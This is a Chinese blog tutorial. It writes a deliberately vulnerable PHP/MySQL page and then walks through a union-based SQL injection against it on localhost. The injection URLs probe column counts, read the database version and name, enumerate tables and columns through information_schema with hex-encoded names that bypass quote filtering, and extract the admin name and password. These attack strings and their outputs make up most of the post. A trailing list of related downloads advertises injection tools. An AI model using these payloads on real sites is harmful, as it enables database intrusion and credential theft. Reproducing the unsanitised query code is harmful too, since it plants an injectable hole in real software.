`
wangking717
  • 浏览: 256488 次
  • 性别: Icon_minigender_2
  • 来自: 成都
社区版块
存档分类
最新评论

PHP+MYSQL 【注入漏洞】攻防测试

阅读更多

小编说:本着文明原则,就不拿别人的站点来测试了,自己写一个有漏洞的程序,然后一次解析注入漏洞的原理,希望大家举一反三,别干坏事就行了。较出名的注入工具有:明小子的domain 4.1 、小竹的NBSI、教主的HDSI和啊D的注入工具等等,可以初学可以用这些来试试。

 


有漏洞的PHP代码:

<?php
$dbserver='localhost';
$dbusername='root';
$dbpassword='root';
$dbname='wap_impressions';

$id = $_GET["id"];

$conn=mysql_pconnect($dbserver,$dbusername,$dbpassword);
mysql_select_db($dbname);
mysql_query('set names utf8');

$sql = "select * from visitors where v_id=$id";

$result = mysql_query($sql);

if($row = mysql_fetch_array($result)){
  echo $row["visitor"]."->".$row["browser_type"]."<br/>";
}

mysql_close($conn);


?>

 


该代码很简单,就只接收ID参数,并从数据库中查询,显示...其中获取到参数后,并为做特殊的过滤,因此就有章可循,呵呵。。

 

我们先来访问下这个DEMO程序显示的是什么样的。

输入http://localhost/wapdemo/test.php?id=1

显示:192.168.2.210->IE

 

测试是否该程序对参数进行了特殊过滤,可以通过在参数后面加上and 1=1或者and 1=2来测试、、

当and 1=1正常显示,and 1=2不显示,那么就证明了我们加入的这几个参数在代码里起作用了,存在漏洞,那我们开始通过SQL注入漏洞来猜解一下吧。

 

1.猜解现在程序页用的表有多少个字段,可以用“order by 字段下标” 来测试他有多少字段。

http://localhost/wapdemo/test.php?id=1 order by 6  (结果报错)

http://localhost/wapdemo/test.php?id=1 order by 5  (未报错)

那么证明有5个字段。。。

 

2.查询那些字段在该页可用

http://localhost/wapdemo/test.php?id=1 and 1=2 union select 1,2,3,4,5

显示:2->4

证明第2和4字段在该页显示了,那么我们就可以把我们想要的信息都替换在该字段显示出来,比如查看数据库版本,数据库名等。。

 

3.查看数据库版本和数据库名

http://localhost/wapdemo/test.php?id=1 and 1=2 union select 1,version(),3,database(),5

显示:5.1.36-community-log->wap_impressions

看来我用的数据库版本是5.1的,用的表是wap_impressions,可以在代码中可以看到,确实是这个表。

 

4.知道了数据库名就好办了,那么我们可以通过MYSQL系统表information_schema来获得wap_impressions下的所有表以及表下的字段,当然PHP参数的获取自动屏蔽了单引号,没关系,我们可以用16进制绕过。

16进制的获取方法,可以通过MYSQL的参数hex("xxxx")或者通过PHP或者JAVA或者网上的工具来转,这里就不多说了。

 

4.1. 找出wap_impressions下的管理员表

 

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=0x7761705F696D7072657373696F6E73 limit 0,1

....

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=0x7761705F696D7072657373696F6E73 limit N,1

 

N次的爆破,终于把wap_impressions下所有的表都显示出来了。

 

0x7761705F696D7072657373696F6E73就是wap_impressions的16进制

 

最后找出管理员表

显示:admin->4

 

4.2. 找出admin下的管理员表下所有的字段

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,column_name,3,4,5 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x7761705F696D7072657373696F6E73 AND table_name=0x61646D696E limit 0,1

...

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,column_name,3,4,5 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x7761705F696D7072657373696F6E73 AND table_name=0x61646D696E limit N,1

 

0x61646D696E是admin的16进制

 

最后找出admin表中所有字段为

显示:admin_id->4

          admin_name->4

          admin_pass->4

5.终于最后把管理员的表拿到手了

admin

admin_id    admin_name   admin_pass

 

那么我们就可以来查询所有该表下的管理员了

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,admin_name,3,admin_pass,5 FROM admin limit 0,1

...

http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,admin_name,3,admin_pass,5 FROM admin limit N,1

 

找出管理员:

显示:wangking->123456

 

 

当然一般网上的密码都是加密了的,网上有很多的解密工具,这里只是说说怎么用注入漏洞进行猜解,获取我们想要的信息。

分享到:
评论

相关推荐

    PHP+Mysql注入攻防实战.pdf

    PHP+Mysql注入攻防实战 新手学习 不错的教材

    access+mssql+mysql+oracle 注入整理文档(详细图解)

    access+mssql+mysql+oracle 注入整理文档(详细图解)access+mssql+mysql+oracle 注入整理文档(详细图解)access+mssql+mysql+oracle 注入整理文档(详细图解)access+mssql+mysql+oracle 注入整理文档(详细图解)access+...

    PHP+MySql注入工具

    计算机学习PHP+MySql注入工具,放心用吧'_'

    php+mysql+html实例

    php+mysql+html实例php+mysql+html实例php+mysql+html实例php+mysql+html实例php+mysql+html实例php+mysql+html实例php+mysql+html实例php+mysql+html实例php+mysql+html实例

    PHP+MySQL动态网站开发

    《PHP+MySQL动态网站开发》详细介绍了PHP的脚本语言基础、运行环境和PHP面向对象编程(包括MySQL数据库)的知识。全书共19章,内容分为理论部分和实战部分。理论部分包括PHP技术概述和基本语法、字符串和正则表达式、...

    PHP+Mysql 带SQL注入源码 下载

    PHP+Mysql 带SQL注入源码、下载解压部署到环境中去就行了。

    php+mysql注入攻击.pdf

    php+mysql注入攻击 新手看看吧。

    PHP+Mysql注入工具.rar

    计算机学习PHP+Mysql注入工具'_'

    iis+php+mysql一键安装包,iis下php+mysql一键安装包兼容win系列所有系统

    本软件是windows下的iis下的php一键环境安装工具,集成了php+mysq+zend+phpmyadmin,可以...不用任何设置一键自动安装和配置iis下的php+mysql环境。安装完成有mysql的账号是 root 密码:zkeys phpmysql的端口是999!

    解决php+Mysql注入问题

    国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发 现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太 多,所以,可能没有注意,况且PHP的...

    PHP+MYSQL注入

    PHP注+MYSQL注入,步骤详细,包括试探,环境探测,爆字段,报表.....

    学生信息管理系统(python+GUI+mysql).zip

    学生信息管理系统(python+GUI+mysql).zip,学生信息管理系统(python+GUI+mysql).zip,学生信息管理系统(python+GUI+mysql).zip 学生信息管理系统(python+GUI+mysql).zip,学生信息管理系统(python+GUI+mysql).zip,...

    PHP+MYSQL网站注入扫描工具 修正版

    PHP+MYSQL网站注入扫描工具,针对类似夜猫文章下载系统比较有效,界面是仿教程的hdsi中的PHP注入模块写的,实现原理是参考angel的SQL Injection with MYSQL写的,网上有很多,不再细说。修正了以下Bug,内容:1。...

    基于PHP+MySQL实现注册登录

    1、环境搭建:Windows 7+Apache 2.4.18+MySQL 5.7.11+PHP 7.1.0。 2、文本编辑器:Sublime 3。 二、主要技术 本案例使用PHP 7中的PDO数据对象对MySQL数据库进行查询和插入操作,从而实现用户的登录和注册,同时用户...

    python+django+mysql电影推荐系统源码,毕业设计.zip

    python+django+mysql电影推荐系统源码,毕业设计 python+django+mysql电影推荐系统源码,毕业设计 python+django+mysql电影推荐系统源码,毕业设计 python+django+mysql电影推荐系统源码,毕业设计 python+...

    php+mysql+apache环境安装包本人测试通过

    经本人测试通过的php+mysql+apache的安装包 需要phpmyadmin的mysql登录密码的请加qq:250608018

    PHP+mysql 网站源码

    php+mysql 源码 网站建设相关

    php + mysql 个人博客系统

    php + mysql 个人博客系统 包括写博客,相片,音乐等各种功能

    冰兰PHP+MYSQL注入器.zip

    冰兰PHP+MYSQL注入器.

Global site tag (gtag.js) - Google Analytics